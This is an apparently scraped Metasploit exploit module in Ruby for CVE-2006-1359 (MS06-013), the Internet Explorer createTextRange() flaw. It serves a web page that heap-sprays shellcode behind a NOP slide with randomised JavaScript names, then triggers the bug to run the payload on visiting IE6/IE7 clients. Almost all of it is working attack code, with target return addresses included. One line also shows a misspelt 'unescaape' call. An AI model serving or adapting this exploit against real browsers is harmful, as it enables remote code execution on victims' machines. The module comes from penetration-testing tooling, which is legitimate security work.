1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 |
## # $Id: ms06_013_createtextrange.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer createTextRange() Code Execution', 'Description'=> %q{ This module exploits a code execution vulnerability in Microsoft Internet Explorer. Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memoryin a way, which, under certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point to a very remote, non-existent memory location. This module is the result of merging three different exploit submissions and has only been reliably tested against Windows XP SP2. This vulnerability was independently discovered by multiple parties. The heap spray method used by this exploit was pioneered by Skylined. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Faithless <rhyskidd [at] gmail.com>', 'Darkeagle <unl0ck.net>', 'hdm', '<justfriends4n0w [at] yahoo.com>', 'anonymous', ], 'Version'=> '$Revision: 10394 $', 'References' => [ ['CVE', '2006-1359'], ['OSVDB', '24050'], ['MSB', 'MS06-013'], ['BID', '17196'], ['US-CERT-VU', '876678'], ['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'], ['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'], ['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'], ['URL', 'http://www.shog9.com/crashIE.html'], ], 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets'=> [ [ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ], [ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Mar 19 2006')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops nops = Rex::Text.to_unescape(make_nops(4)) # Generate a random XML namespace for VML xmlns = rand_text_alpha(rand(30)+2) # Randomize the javascript variable names rnd= rand(3) var_inputtype= ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image")) var_inp= "_"+rand_text_alpha(rand(6)+3) var_tmp= "_"+rand_text_alpha(rand(6)+3) var_payload= "_"+rand_text_alpha(rand(6)+3) var_nopslide = "_"+rand_text_alpha(rand(6)+3) var_slidesize= "_"+rand_text_alpha(rand(6)+3) var_fillblock= "_"+rand_text_alpha(rand(6)+3) var_memblock = "_"+rand_text_alpha(rand(6)+3) var_heap = "_"+rand_text_alpha(rand(6)+3) var_index= "_"+rand_text_alpha(rand(6)+3) var_maxIndex = "_"+rand_text_alpha(rand(6)+3) var_fillHeap = "_"+rand_text_alpha(rand(6)+3) var_start= "_"+rand_text_alpha(rand(6)+3) var_timer= "_"+rand_text_alpha(rand(6)+3) rnd= rand(2) var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : "" var_setInterval= (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : "" # Build out the message content = %Q|<html> <head> <script language = "javascript"> var #{var_payload} = unescaape("#{shellcode}"); var #{var_nopslide} = unescape("#{nops}"); var #{var_slidesize} = 20+#{var_payload}.length; while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; } var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize}); var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize}); while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; } var #{var_heap} = new Array(); var #{var_index} = 0; var #{var_maxIndex} = 2020; function #{var_fillHeap}() { #{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100); if (#{var_index}<#{var_maxIndex}) { #{var_heap}.push(#{var_memblock}+#{var_payload}); #{var_index}++; #{var_setTimeout} } else { #{var_timer}.innerHTML = 100; #{var_inp} = document.createElement("input"); #{var_inp}.type = "#{var_inputtype}"; #{var_tmp} = #{var_inp}.createTextRange(); } } function #{var_start}() { #{var_setTimeout}#{var_setInterval} } </script> </head> <body onload="#{var_start}()"> <span id="#{var_timer}"> % </span> </body> </html> | content = Rex::Text.randomize_space(content) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |